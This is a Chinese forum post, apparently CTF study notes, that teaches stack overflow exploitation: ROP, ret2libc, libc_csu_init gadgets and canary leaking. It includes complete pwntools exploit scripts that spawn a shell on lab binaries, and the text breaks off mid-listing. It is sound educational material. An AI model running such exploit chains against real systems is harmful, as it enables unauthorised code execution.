shavchen 发表于 2019-6-13 12:37

栈基础 & 栈溢出 & 栈溢出进阶

本帖最后由 shavchen 于 2019-6-13 12:38 编辑

---
author : shavchen

title : stack-ooverflow exploit

---

# 栈基础

## 内存四区

- 代码区(.text):这个区域存储着被装入执行的二进制机器代码,处理器会到这个区域取指令执行。

- 数据区(.data):用于存储全局变量和静态变量等。

- 堆区:动态地分配和回收内存,进程可以在堆区动态地请求一定大小的内存,并在用完后归还给堆区。`地址由高到低生长`

- 栈区:用于动态地存储**函数之间的调用**关系,以保证被调用函数在**返回**时恢复到**母函数**中继续执行;此外`局部变量`也存储在栈区。`地址由低到高生长`

> BSS段:(bss segment)通常是指用来存放程序中未初始化的全局变量的一块内存区域,属于静态内存分配。

## 栈的概念

- 一种数据结构,数据存储方式为先进后出,压栈(push)和出栈(pop)
- 每个程序都有自己的进程地址空间,进程地址空间中的某一部分就是该程序的栈,用于保存函数调用信息和局部变量
- 程序的栈是从进程空间的高地址向低地址增长的,数据是从低地址向高地址存放的

![](http://ww1.sinaimg.cn/large/006nFhrCgy1g3w4mfwc48j30go0ed41m.jpg)





## 函数调用

- 函数调用经常嵌套,在同一时刻,堆栈中会有多个函数的信息。

### 栈帧

- 每个未完成运行的函数占用一个独立的连续区域,称作栈帧。
- ![](http://ww1.sinaimg.cn/large/006nFhrCgy1g3waddy7czj30gn0bdgqc.jpg)

### 基本流程

```asm
;调用前
push arg3                                ;32位esp-4,64位esp-8
push arg2
push arg1
call func                                ;1. 压入当前指令的地址,即保存返回地址 2. jmp到调用函数的入口地址
push ebp                                ;保存旧栈帧的底部,在func执行完成后在pop ebp
mov ebp,esp                        ;设置新栈帧的底部
sub esp,xxx                        ;设置新栈帧的顶部
```

- ![](http://ww1.sinaimg.cn/large/006nFhrCly1g3vv2v485sj30mw0bn0tj.jpg)





### 详细流程

```c
int func_b(int b1,int b2)
{
int var_b1,var_b2;
var_b1 = b1+b2;
var_b2 = b1-b2;
return var_b1 * var_b2;
}
int func_a(int a1,int a2)
{
int var_a;
var_a = fuc_b(a1+a2);
return var_a;
}
int main(int argc,char** argv,char **envp)
{
int var_main;
var_main = func_A(4,3);
return 0;
}
```

- ![](http://ww1.sinaimg.cn/large/006nFhrCgy1g3vw7zbsazj30k40d475i.jpg)

### 参数传递

- x86

> 1. 通过栈传参
> 2. 先压入最后一个参数

- x64

> 1. rdi rsi rdx rcx r8 r9 接收后六个参数
> 2. 之后的参数通过栈传参

- 64位的利用方式

> 构造rop链
>
> 1. ROPgadget --binary level3_x64 --only 'pop|ret'
>
> ```c
> # Gadgets information
>
> 0x00000000004006ac : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
> 0x00000000004006ae : pop r13 ; pop r14 ; pop r15 ; ret
> 0x00000000004006b0 : pop r14 ; pop r15 ; ret                       
> 0x00000000004006b2 : pop r15 ; ret
> 0x00000000004006ab : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
> 0x00000000004006af : pop rbp ; pop r14 ; pop r15 ; ret
> 0x0000000000400550 : pop rbp ; ret
> 0x00000000004006b3 : pop rdi ; ret
> 0x00000000004006b1 : pop rsi ; pop r15 ; ret
> 0x00000000004006ad : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
> 0x0000000000400499 : ret
> ```
>
> 2. 依次找pop rdi,pop rsi..,pop r9 ,这些寄存器里面存放的是参数,可以通过pop覆盖其中的内容

# 栈溢出

栈溢出指的是程序向栈中某个变量写入的字节数超过了这个变量本身申请的字节数,因而导致栈中与之相邻的变量的值被改变。

## 栈溢出目的

- 破坏程序内存结构
- 执行system(/bin/sh)
- 执行shellcode

## 栈溢出思路

### 判断溢出点

> 常见的危险函数:
>
> 输入:gets scanf vscanf
>
> 输出:sprintf
>
> 字符串:strcpy strcat bcopy

### 判断padding

> 1. 计算我们所要操作的地址和所要覆盖的地址的距离
> 2. IDA静态分析中常见的三种索引方式
>
> a. 相对于栈基地址的索引,通过查看EBP相对偏移获得 char name; ==> 0x28+0x4
>
> b. 相对于栈顶指针的索引,需要加上ESP到EBP的偏移,然后转换为a方式
>
> c. 直接地址索引,相当于直接给出了地址

### 覆写内容

> 覆盖函数返回地址
>
> 覆盖栈上某个变量的内容,如局部变量和参数

### Ret2text

> 返回到某个代码段的地址,如`.text:0804863A    mov    dword ptr , offset command ; "/bin/sh"`
> 要求我们控制程序执行程序本身已有的代码

### Ret2shellocde

> 跳转到我们在栈中输入的代码,一般在没有开启NX保护的时候使用.
>
> ret2shellcode的目标即在栈上写入布局好的shellcode,利用ret_address返回到shellcode处执行代码。

### Ret2syscal

> 让程序返回到系统调用,调用syscall或execve执行某个程序,对于静态编译的程序,没有libc,只好通过execve执行shellcode了。
>
> ```c
> syscall       --->rax syscall 0x3b==>execve rax
>
> ​                          --->rdipath==> /bin/sh                  rdi
>
> ​                          --->rsiargv       /                                                       rsi
>
> ​                          --->rdx env                                                                               rdx
>
> int execve(const char *filename, char *const argv[],char *const envp[]);
>                 execve("/bin/sh",null.null) 等同于system("bin/sh")
> ```
>
> syscall(32位程序为int80)会根据系统调用号查找syscall_table,execve对应的系统调用号是0x3b。
>
> 当我们给syscall的第一个参数即rax中写入0x3b时(32位程序为0xb),就会找到syscall_table,即syscall_execve,然后通过execve启动程序。
>
> 找syscall和int 80的方法:ROPgadget --binary test --only 'int/syscall'
>
> 静态编译的程序没有system等函数的链接支持,故一般利用ret2syscall构造栈溢出

### Ret2libc

> 如找到system函数在动态链接库libc中的地址,将return的内容覆盖为该地址,跳转执行
>
> ​                leak出libc_addr + call system + 执行system('/bin/sh')
>
> ​                难点:libc动态加载,每次基址都会变化,如何泄露libc的地址?
>
> ​                思路:got ---> read_addr() --->libc
>
> ​                                   read_addr -libc_base = offsset (不变)
>
> ​                                   libc_base = read_addr - offset
>
> ​      bin/sh的来源 : 程序本身或libc或者写一个/bin/sh到bss段
>
> ​                                  binsh = libc.search("/bin/sh").next()

### 其它

> 判断是否是否为动态编译
>
> ```c
> ⚡ ⚙  ~/stack/day_4  ldd ret2text
>         linux-gate.so.1 =>(0xf7f36000)
>         libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7d60000)-->libc的版本,也可以vmmap查看
>         /lib/ld-linux.so.2 (0xf7f38000)
> ```
>
> 判断libc的版本
>
> ```c
> a. 本地直接通过vmmap查看
> b. 远程的根据函数后几位的偏移得到
>                 libc-database
>                         link:https://github.com/lieanu/libc-database.git
>                         usage: ./find func_name offset
>                         exemplify: ./find gets 5a0
>                         effection:
>                                         ➜libc-database git:(master) ./find gets 5a0
>                                         archive-eglibc (id libc6_2.17-93ubuntu4_i386)
> c: 5a0怎么来的?
>         .got.plt:0804A010 off_804A010   dd offset gets
>
>         pwndbg> x/20gz 0x0804a010
> 0x804a010 <gets@got.plt>:        0x08048476f7e643e0        0x08048496f7e64ca0
> 0x804a020 <__gmon_start__@got.plt>:        0x080484b6080484a6        0xf7e65360f7e1d540
> 0x804a030 <rand@got.plt>:        0x080484f6080484e6        0x0000000000000000
> 0x804a040 <stdin@@GLIBC_2.0>:        0x00000000f7fb75a0        0x0000000000000000
> 0x804a050:        0x0000000000000000        0x0000000000000000
> 0x804a060 <stdout@@GLIBC_2.0>:        0x00000000f7fb7d60        0x0000000000000000
> 0x804a070:        0x0000000000000000        0x0000000000000000
> 0x804a080:        0x0000000000000000        0x0000000000000000
> 0x804a090:        0x0000000000000000        0x0000000000000000
> 0x804a0a0:        0x0000000000000000        0x0000000000000000
> ```
>
> 64位程序和32位程序的区别
>
> ```c
> 1. 传参方式
>                 64位:rdi rsi rdx rcx r8 r9
>                 32位:通过栈传参
> 2. syscall & int 80
> ```
>
>



## 栈空间布局

```c
// 伪代码
A(int arg_a1,int arg_a2)
B(int arg_b1,int arg_b2,int arg_b3)
C()
-------------------------------------
// B的压栈流程
---> ESP                                                                  //指向栈顶,随着压栈不断抬高
      buf                                        //局部变量
      EBP                                                   //保存旧栈帧的底部,4字节
      return                                                //这是B的返回地址,即C
      arg_b1
      arg_b2
      arg_b3                       
        -->EBP                                                               //指向当前栈帧的底部,随着压栈不断抬高,指向旧栈帧
       
```



## 栈溢出原理

- 当局部变量buf超过128字节,会向下覆盖EBP,return以及参数的内容。
- 构造return

> 1. 将buf 的 132到136字节的空间输入shellcode的地址
> 2. 会跳转执行shellcode

## 保护机制

### NX

- 保护原理

> 堆栈不可执行保护,bss段也不可执行,windows下为DEP,可通过gcc -z execstack关闭
>
> 开启NX后再把return的内容覆盖为一段shellcode,在开启NX的时候,不能执行。

- 绕过原理 : 32位

> 实现A函数执行的方法,即构建ROP链
>
> 1. return ---> fake_addr ---> A
> 2. 将B的参数从arg_b2到arg_b3也覆盖成A的参数

```c
// 伪代码
A(int arg_a1,int arg_a2)
B(int arg_b1,int arg_b2,int arg_b3)
C(int arg_c1,int arg_c2)
-------------------------------------
// B的压栈流程
---> ESP                                                                  
      buf                                       
      EBP                                                  
      return                                                //把return的内容覆盖为A的地址
      arg_b1                                                //程序在调用A函数的时候,把下一个栈数据当作A的返回地址,因此需要在再下一条语句的时候开始覆盖参数
      arg_b2arg_a2               //将B的参数用A的参数覆盖掉
      arg_b3        arg_a1               
        -->EBP                                                               

```

> 借鉴上面的方法,在调用A之后,再调用C,构建ROP链
>
> 1. 这时不能把系统认为的A的返回地址的arg_b1覆盖为C的返回地址,不然会向上覆盖arg_a2和arg_a2,导致A无法正常执行。
> 2. 这时需要再找一个return语句,程序里面通常含有pop-pop-ret的链
> 3. ROPgadget --binary --only 'pop|ret'    : 自动寻找rop链
>
> ```assembly
> Gadgets information
> ============================================================
> 0x00000000004006ac : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
> 0x00000000004006ae : pop r13 ; pop r14 ; pop r15 ; ret
> 0x00000000004006b0 : pop r14 ; pop r15 ; ret                        //选择这个地址,代码段无NX
> 0x00000000004006b2 : pop r15 ; ret
> 0x00000000004006ab : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
> 0x00000000004006af : pop rbp ; pop r14 ; pop r15 ; ret
> 0x0000000000400550 : pop rbp ; ret
> 0x00000000004006b3 : pop rdi ; ret
> 0x00000000004006b1 : pop rsi ; pop r15 ; ret
> 0x00000000004006ad : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
> 0x0000000000400499 : ret
>
> ```
>
> 4. 将arg_b1覆盖为addr_pop_pop_ret的地址:4006b0
> 5. 此时将将arg_a1 pop到r14,arg_a2 pop到r15,然后ret
> 6. 将ret的内容覆盖为C的入口地址,即可!
> 7. 程序执行如下代码:
>
> ```c
> // 伪代码
>A(int arg_a1,int arg_a2)
>B(int arg_b1,int arg_b2,int arg_b3)
>C(int arg_c1,int arg_c2)
> -------------------------------------
> // B的压栈流程
>---> ESP                                                                  
>         buf                                       
>         EBP                                                  
>         return                                                //-->fake_addr_A
>         arg_b1                                                //-->4006b0addr_pop_pop_ret
>         arg_b2arg_a1               //pop r14
>         arg_b3        arg_a2               //pop r15
>         ret                                                         // --->fake_addr_C
>         0                                                                        // --->C的返回地址,现在没用了
>         arg_c1
>         arg_c2
>         -->EBP       
>
> ```

- 完整流程

> 1. 使用buf将栈空间覆盖
> 2. 在B退出的时候ret到A
> 3. 依次取覆盖之后的A的两个参数,执行A函数
> 4. 返回到pop_pop_ret的地址
> 5. 将ret的地址覆盖为C的地址
> 6. 将C的返回地址置空
> 7. 写入C的参数
> 8. 执行C函数

- 总结

> A函数的功能通常时"/bin/sh"
>
> C函数的功能为system
>
> 上述流程执行完则可以达到反弹shell的目的
>
> 由于程序不在栈上执行而是在代码段中执行,所有可以绕过NX保护机制。



### Canary(金丝雀)

- 保护原理

> 开启canary后,会在程序的EBP与ESP之间的位置随机插入一段md5值,占4字节或8字节。
>
> canary为一段以 /0 结尾的一串md5值,如123456/0,起截断作用,防止打印。
>
> 在程序return之前与内核地址异或校验md5值
>
> 异或结果为1时报错退出,为0时正常ret。
>
> 几种思路
>
> 1. 如果能在栈中拿到md5值,在指定位置可以精准覆盖之。
> 2. 将从内核中取的md5值,设置为自己定义的值,覆盖的时候覆盖自己定义的值。

- gcc开启canary

> 参数:-fstack-protector :启用保护,不过只为局部变量中含有数组的插入保护
>
> 参数:-fstack-protector-all :为所有函数插入保护
>
> 参数:-fstack-protector-strong -fstack-protector-explicit :只对明确有stack-protect 属性的函数启用保护
>
> 参数:-fo-stack-protector :禁用保护

- 3种利用方法利用

> 1. 覆盖canary的最后一个字节
>
> > 利用栈溢出将"\0"覆盖掉,则可以将canary打印出来。
>
> 1. smash
> 2. leak stackguard -- top

- 查看开启的保护机制

```c
⚡ > ~/stack/day_1> checksec leak_canary
[*] '/root/stack/day_1/leak_canary'
    Arch:   i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

```





### PIE

- 保护原理

> 让程序能装载在随机的地址,主要是代码段的地址随机化,改变的是高位的基地址。
>
> gdb中使用show proc info 可以显示代码段的基地址
>
> --enabled-default-pie开启 -no-pie关闭

- 通常与ALSR联合使用
- ![](http://ww1.sinaimg.cn/large/006nFhrCgy1g3wdkti2wqj30dx04utav.jpg)

### ALSR

- 保护原理

> 每次加载程序,使其地址空间分布随机化,即使可执行文件开启PIE保护,还需要系统开启ASLR才会真正打乱基址。主要是堆栈和libc的地址随机化。
>
> 修改/proc/sys/kernel/randommize_va_space来控制ASLR的开关。



# 栈溢出进阶

## pwntools

```python
# Pwntools环境预设
from pwn import *
context.arch = "amd64/i386"                                                                #指定系统架构
context.terminal = ["tmux,"splitw","-h"]       #指定分屏终端
context.os = "linux"                                                                     #context用于预设环境

# 库信息
elf = ELF('./PWNME')                                                # ELF载入当前程序的ELF,以获取符号表,代码段,段地址,plt,got信息
libc = ELF('lib/i386-linux-gnu/libc-2.23.so')          # 载入libc的库,可以通过vmmap查看
/*
首先使用ELF()获取文件的句柄,然后使用这个句柄调用函数,如
>>> e = ELF('/bin/cat')
>>> print hex(e.address)        # 文件装载的基地址
>>> print hex(e.symbols['write']) # plt中write函数地址
>>> print hex(e.got['write'])           # GOT表中write符号的地址
>>> print hex(e.plt['write'])                 # PLT表中write符号的地址                  
*/                                       
                  
# Pwntools通信                  
p = process('./pwnme')                                                # 本地 process与程序交互
r = remote('exploitme.example.com',3333)                     # 远程
                  
# 交互
recv()                        # 接收数据,一直接收
recv(numb=4096,timeout=default)        # 指定接收字节数与超时时间                  
recvuntil("111")       # 接收到111结束,可以裁剪,如.
recbline()                # 接收到换行结束
recvline(n)                # 接收到n个换行结束
recvall()                        # 接收到EOF
recvrepeat(timeout=default) #接收到EOF或timeout
send(data)                # 发送数据
sendline(data)                # 发送一行数据,在末尾会加\n
sendlineafter(delims,data) #   在程序接收到delims再发送data                  
r.send(asm(shellcraft.sh()))                                                  # 信息通信交互                                       
r.interactive()                                                               # send payload后接收当前的shell
                  
# 字符串与地址的转换
p64(),p32()#将字符串转化为ascii字节流
u64(),u32()#将ascii的字节流解包为字符串地址                  
                  

```



## got & plt

在IDA中选择`view-open subview - segment`可以直接查看到got和plt段

```assembly
.plt:08048440 ; __unwind {
.plt:08048440               push    ds:dword_804A004
.plt:08048446               jmp   ds:dword_804A008                ;804A008是got表的地址
.plt:08048446 sub_8048440   endp

```

> plt段的某个地址存放着指令 `jmp got`

```assembly
.got.plt:0804A00C off_804A00C   dd offset printf      ; DATA XREF: _printf↑r
.got.plt:0804A010 off_804A010   dd offset gets          ; DATA XREF: _gets↑r
.got.plt:0804A014 off_804A014   dd offset time          ; DATA XREF: _time↑r
.got.plt:0804A018 off_804A018   dd offset puts          ; DATA XREF: _puts↑r
.got.plt:0804A01C off_804A01C   dd offset system      ; DATA XREF: _system↑r
.got.plt:0804A020 off_804A020   dd offset __gmon_start__
.got.plt:0804A020                                       ; DATA XREF: ___gmon_start__↑r
.got.plt:0804A024 off_804A024   dd offset srand         ; DATA XREF: _srand↑r
.got.plt:0804A028 off_804A028   dd offset __libc_start_main
.got.plt:0804A028                                       ; DATA XREF: ___libc_start_main↑r
.got.plt:0804A02C off_804A02C   dd offset setvbuf       ; DATA XREF: _setvbuf↑r
.got.plt:0804A030 off_804A030   dd offset rand          ; DATA XREF: _rand↑r
.got.plt:0804A034 off_804A034   dd offset __isoc99_scanf

```

> got段中存放着程序中函数的地址,可以避免每次调用某个函数的时候去libc库中寻找。

- 函数调用流程

> 1. 找到plt表.plt表存放指令
> 2. 跳转到got表,got表存放地址,不能填在return的位置
> 3. 找到对应的func_addr
> 4. 没有的时候跳转到libc中取出函数,并缓存到got表

- plt2leakgot

> `plt["write"](1,got("write"),4)`
>
> 通过plt的write函数leak出got的地址



## libc_csu_init

- 在所有的64位程序中都含有libc_csu_init函数

```c
.text:0000000000400650 __libc_csu_init proc near               ; DATA XREF: _start+16↑o
.text:0000000000400650 ; __unwind {
.text:0000000000400690
.text:0000000000400690 loc_400690:                           ; CODE XREF: __libc_csu_init+54↓j
.text:0000000000400690               mov   rdx, r13                                // 4. 利用点,将r13给到了rdx
.text:0000000000400693               mov   rsi, r14                                // 5. 控制rsi
.text:0000000000400696               mov   edi, r15d                        // 6. 控制rdi的低四位
.text:0000000000400699               call    qword ptr         //7. 给rbx赋0,相当于call
.text:000000000040069D               add   rbx, 1
.text:00000000004006A1               cmp   rbx, rbp
.text:00000000004006A4               jnz   short loc_400690
.text:00000000004006A6
.text:00000000004006A6 loc_4006A6:                           ; CODE XREF: __libc_csu_init+36↑j
.text:00000000004006A6               add   rsp, 8
.text:00000000004006AA               pop   rbx                                        //1. 控制函数从这里执行
.text:00000000004006AB               pop   rbp
.text:00000000004006AC               pop   r12                                        //8. 给r12添一个main_addr
.text:00000000004006AE               pop   r13                                        //2. 通过栈控制r13
.text:00000000004006B0               pop   r14
.text:00000000004006B2               pop   r15
.text:00000000004006B4               retn                                                           //3. ret到 movrdx, r13
.text:00000000004006B4 ; } // starts at 400650
.text:00000000004006B4 __libc_csu_init endp
//实现通过栈控制rdx

```

- 目的
- 在64位提供三个参数的用法
- 利用原理

> 1. 程序在启动main函数之前,都由glibc的标准c库启动,即由libc_csu_init启动main函数
> 2. libc_csu_init可以获得一个有4个参数调用的地方,比如系统调用函数syscall
>
> 如syscall--->rax syacall 0x3b ==>execve
>
> ​                          --->rdipath        "/bin/sh"
>
> ​                          --->rsiargv   
>
> ​                          --->rdx env
>
> 3. 通过syscall调用execve,执行execve("/bin/sh",null,null),等价于system("/bin/sh")
> 4. syscall(32位程序为int80)会根据系统调用号查找syscall_table,execve对应的系统调用号是0x3b。
>
> 当我们给syscall的第一个参数即rax中写入0x3b时(32位程序为0xb),就会找到syscall_table,即syscall_execve,然后通过execve启动程序。
>
> 5. 找syscall和int 80的方法:ROPgadget --binary test --only 'int/syscall'

## ret2_dl_runtime_resolve

> 解决32位无输出函数的情况,64位使用IOfile的方式。
>
> 1. 找对应的plt中的地址
> 2. 跳转到对应的got表中,got中如果有,则执行对应函数
> 3. 如果跳转到的got对应位置没有值,got会向后累加一个地址,然后跳转到plt,压入两个参数,一个是index,一个是与DYNAMIC有关的参数,称为link_map(动态链接用到的名字,如puts),然后再调用dl_runtime_resolve(link_map_obj,reloc_index)
>
> ```assembly
> push    cs:qword_602008                       
> .plt:00000000004007A6               jmp   cs:qword_602010
>
> ```
>
> 4. dl_runtime_resolve实际上是一个解析实际地址的函数,根据函数名称做解析,然后写回到plt的index对应的got
> 5. 调用完之后,会根据参数调用解析出来的地址,比如解析出来的puts函数,那么会调用puts函数,并且写入puts_got中
> 6. 结束后,接着运行程序
>
> 因此,我们向DYNAMIC中写入puts字符串就可以了

## 栈劫持

## 整形溢出

[实验](#程序七:整型溢出)





# 调试

## 程序一 :rop链& _libc_csu_init

### ROP

- IDA静态分析

```c
int __cdecl main(int argc, const char **argv, const char **envp)
{
vulnerable_function(*(_QWORD *)&argc, argv, envp);
return write(1, "Hello, World!\n", 0xEuLL);
}
ssize_t vulnerable_function()
{
char buf; //        说明buf到rbp有0x80字节。即buf
write(1, "Input:\n", 7uLL);
return read(0, &buf, 0x200uLL);       //从标准控制台向buf读入0x200
}

```

- 攻击脚本

```python
from pwn import *
context.arch = "amd64"
context.log_level = "debug"
context.terminal=["tmux","splitw","-h"]

if len(sys.argv) < 2:
        debug=True
else:
        debug=False
if debug:
        p = process("./level3_x64")
        elf = ELF("./level3_x64")
        libc=ELF("/lib/x86_64-linux-gnu/libc-2.23.so")
else:
        p = remote("x.x.x.x",xxxx)
        elf = ELF("./level3_x64")
        libc=ELF("/lib/x86_64-linux-gnu/libc-2.23.so")

def debugf():
        gdb.attach(p,"b *0x400602")
#debugf()
padding = 0x80 * "a"
padding_rbp = "junkjunk"
write_plt = elf.plt["write"]       
write_got = elf.got["write"]   
# target : write(1,write_got,8)
pop_rdi_ret = 0x4006b3
pop_rsi_r15_ret = 0x4006b1
main_addr = 0x40061A

payload = padding + padding_rbp + p64(pop_rdi_ret) + p64(1) + p64(pop_rsi_r15_ret) + p64(write_got) + p64(0) + p64(write_plt) + p64(main_addr)        
p.sendafter("Input:\n",payload)
addr = u64(p.recv(6).ljust(8,"\x00"))
libc.address = addr - libc.symbols["write"]
binsh = libc.search("/bin/sh").next()
system = libc.symbols["system"]
payload = padding + "junkjunk" + p64(pop_rdi_ret) + p64(binsh) + p64(system)
p.sendafter("Input:\n",payload)

p.interactive()

```

- 思路

> 1. 泄露system在libc中的地址
>
> 通过write函数泄露system的地址
>
> 先通过plt中的wrtite jump到got中的write函数的地址,然后通过offset计算libc的基址,然后泄露system的地址
>
> 可以将第一个return的内容覆盖为plt["write"]的地址
>
> 即write(1,write_got,8) 调用write_got,打印8个字节到屏幕上
>
> 2. 寻找rop链 rdi_pop_rsi_pop_rdx_ret,保存write函数的参数与返回地址
>
> 64位程序的参数压栈顺序rdi,rsi,rdx,rcx,r8,r9
>
> ```c
> ➜level3_x64 ROPgadget --binary level3_x64 --only 'pop|ret'
> Gadgets information
> ============================================================
> 0x00000000004006ac : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
> 0x00000000004006ae : pop r13 ; pop r14 ; pop r15 ; ret
> 0x00000000004006b0 : pop r14 ; pop r15 ; ret
> 0x00000000004006b2 : pop r15 ; ret
> 0x00000000004006ab : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
> 0x00000000004006af : pop rbp ; pop r14 ; pop r15 ; ret
> 0x0000000000400550 : pop rbp ; ret
> 0x00000000004006b3 : pop rdi ; ret
> 0x00000000004006b1 : pop rsi ; pop r15 ; ret
> 0x00000000004006ad : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
> 0x0000000000400499 : ret
>
> ```
>
> 3. 由于在rop链中没有发现rdx,暂时不去使用rdx,因为rdx中本来就可能含有大于8的数,因此对我们而言传参与否意义不大,只是成功率的问题,直接返回到main_addr即可
>
> ```assembly
> .text:000000000040061A ; int __cdecl main(int argc, const char **argv, const char **envp)
> .text:000000000040061A               public main
> .text:000000000040061A main            proc near               ; DATA XREF: _start+1D↑o
>
> ```

### libc_csu_init

- 解决rop链中无rdx的思路

```c
a. 调用libc_csu_init
b. libc_csu_init有rdx
c. 在libc_csu_init循环构造payload

```



- libc_csu_init的内存布局

```assembly
.text:0000000000400650 __libc_csu_init proc near               ; DATA XREF: _start+16↑o
.text:0000000000400650 ; __unwind {
.text:0000000000400690
.text:0000000000400690 loc_400690:                           ; CODE XREF: __libc_csu_init+54↓j
.text:0000000000400690               mov   rdx, r13                                // 4. 将r13给到了rdx
.text:0000000000400693               mov   rsi, r14                                // 5. 控制rsi
.text:0000000000400696               mov   edi, r15d                        // 6. 控制rdi的低四位,注意这里不能存放下6字节的/bin/sh
.text:0000000000400699               call    qword ptr         ;7. 给rbx赋0,相当于call ,
                                                                                                                                                                        ; 将system的地址写入其中bss中,将bss_addr写入其中
.text:000000000040069D               add   rbx, 1
.text:00000000004006A1               cmp   rbx, rbp                          //9. 使rbp=1,跳过jnz
.text:00000000004006A4               jnz   short loc_400690
.text:00000000004006A6
.text:00000000004006A6 loc_4006A6:                           ; CODE XREF: __libc_csu_init+36↑j
.text:00000000004006A6               add   rsp, 8
.text:00000000004006AA               pop   rbx                                        //1. 控制函数从这里执行
.text:00000000004006AB               pop   rbp
.text:00000000004006AC               pop   r12                                        //8. 给r12添一个main_addr
.text:00000000004006AE               pop   r13                                        //2. 通过栈控制r13
.text:00000000004006B0               pop   r14
.text:00000000004006B2               pop   r15
.text:00000000004006B4               retn                                                               //3. ret到main_addr
.text:00000000004006B4 ; } // starts at 400650
.text:00000000004006B4 __libc_csu_init endp
//实现通过栈控制rdx

```

- 空闲的bss段

```assembly
.bss:0000000000600A89               db    ? ;        向其中写入system的地址,call ,将r12改为0x600A89
.bss:0000000000600A8A               db    ? ;
.bss:0000000000600A8B               db    ? ;

```

- 坑点

> 1. call    qword ptr         ;寄存器间接寻址,需要把system的地址写入bss
> 2. mov   edi, r15d                                     ;只能存放4个字节,存放不了/bin/sh                                                                                               

- _libc_csu_init攻击脚本实现

```python
from pwn import *
context.arch = "amd64"
context.log_level = "debug"
context.terminal=["tmux","splitw","-h"]

if len(sys.argv) < 2:
        debug=True
else:
        debug=False
if debug:
        p = process("./level3_x64")
        elf = ELF("./level3_x64")
        libc=ELF("/lib/x86_64-linux-gnu/libc-2.23.so")
else:
        p = remote("x.x.x.x",xxxx)
        elf = ELF("./level3_x64")
        libc=ELF("/lib/x86_64-linux-gnu/libc-2.23.so")

def lib_csu_init(ret_address,call,p1,p2,p3):
        pop_ret7 = 0x4006AA                                       
        libc_csu_init_addr = 0x400690       
        payload = 0x80*'a' + p64(0)                                # padding_ebp
        payload+= p64(pop_ret7)
        payload+= p64(0) + p64(1) + p64(call)        #rbx rbp r12
        payload+= p64(p3) + p64(p2) + p64(p1)   #r13 r14 r15
        payload+= p64(libc_csu_init_addr)                #ret
        payload+= p64(0)*7                                                #clear rsp rbx rbp r12r13 r14 r15
        payload+= p64(ret_address)
        p.sendafter("Input:\n",payload)

def debugf():
        gdb.attach(p,"b *0x400602")
#debugf()
write_plt = elf.plt["write"]       
write_got = elf.got["write"]   
read_got = elf.got["read"]
main_addr = 0x40061A
bss_addr = 0x600A89

lib_csu_init(main_addr,write_got,1,write_got,0x8)
write_addr = u64(p.recv(8))
log.success("write_addr:" + hex(write_addr))
libc.address = write_addr - libc.symbols["write"]
log.success("libc.address:" + hex(libc.address))
lib_csu_init(main_addr,read_got,0,bss_addr,16)        # 16 is the param of read
# read system to bss_addr and write "/bin/sh to bss_addr+8"
#binsh = libc.search("/bin/sh").next() not need anymore
system = libc.symbols["system"]
p.send(p64(system)+"/bin/sh\x00")
#lib_csu_init(main_addr,bss_addr,binsh,0,0) binsh has 6 bytes ,r15 can't store
lib_csu_init(main_addr,bss_addr,bss_addr+8,0,0)
p.interactive()

```

- 调试

> 1. 设置断点到* 0x4006AA
>
> ![](http://ww1.sinaimg.cn/large/006nFhrCgy1g3yjvaa9lkj30dw0dgqa7.jpg)
>
> 2. 第一次循环结束后
>
> ![](http://ww1.sinaimg.cn/large/006nFhrCly1g3yjyp2hh3j30dw0bttfq.jpg)
>
> ![](http://ww1.sinaimg.cn/large/006nFhrCgy1g3ymwe2lu5j30dx090jyo.jpg)
>
> 3. 返回到main
>
> ![](http://ww1.sinaimg.cn/large/006nFhrCly1g3ymyc67p7j30dw037q55.jpg)
>
> 4. 打印libc的地址
>
> ![](http://ww1.sinaimg.cn/large/006nFhrCly1g3yn2tg1y1j30dx014aac.jpg)
>
> 5. 查看bss_addr的内容
>
> !(C:\Users\shavchen\AppData\Roaming\Typora\typora-user-images\1560342332544.png)







## 程序二 :canary

- IDA静态分析

```c
int __cdecl main(int argc, const char **argv, const char **envp)
{
init();
puts("Hello Hacker!");
vuln();
return 0;
}
unsigned int vuln()
{
signed int i; //
char buf; //
unsigned int v3; //

v3 = __readgsdword(0x14u);                                        //从fs:28h读取canary到栈
for ( i = 0; i <= 1; ++i )
{
    read(0, &buf, 0x200u);                                          //溢出点
    printf(&buf);                                                                               //如果没有printf,可以通过_dl_runtime_resolv泄露canary
}
return __readgsdword(0x14u) ^ v3;                //异或栈中的canary与内核中的md5
}

```

- 利用方法

> 1. 在ebp - 0x0c的地址覆盖为canary值
> 2. 泄露canary的值

- 攻击脚本

```python
from pwn import *
p = process("./leak_canary")
get_shell = 0x0804859B
p.recvuntil("Hello Hacker!\n")
offset = 0x70-0xC                                                        # 到达canary的偏移地址
payload = (offset)*"a" + "b"       # 覆盖掉canary的最后的"\0"字节,这时就可以打印出canary了
p.send(payload)
p.recvuntil("ab")                                                  #在canary之前截断,在没有printf,可以通过_dl_runtime_resolv泄露canary
canary = u32(p.recv(3).rjust(4,"\x00"))        #接收三字节的canary,并用0将第四个字节补齐
log.success("canary:"+hex(canary))                  
payload2 =(offset)*"a" + p32(canary) + "b"*12 + p32(get_shell)        # 最终payload
p.send(payload2)
p.interactive()

```



## 程序三 :canary(不需绕过)

- IDA静态分析

```c
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v3; // eax
unsigned int v5; //
unsigned int v6; //
int v7; //
unsigned int j; //
int v9; //
unsigned int i; //
unsigned int k; //
unsigned int l; //
char v13; //
unsigned int v14; //

v14 = __readgsdword(0x14u);
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
v9 = 0;
puts("***********************************************************");
puts("*                      An easy calc                     *");
puts("*Give me your numbers and I will return to you an average *");
puts("*(0 <= x < 256)                                           *");
puts("***********************************************************");
puts("How many numbers you have:");
__isoc99_scanf("%d", &v5);
puts("Give me your numbers");
for ( i = 0; i < v5 && (signed int)i <= 99; ++i )
{
    __isoc99_scanf("%d", &v7);
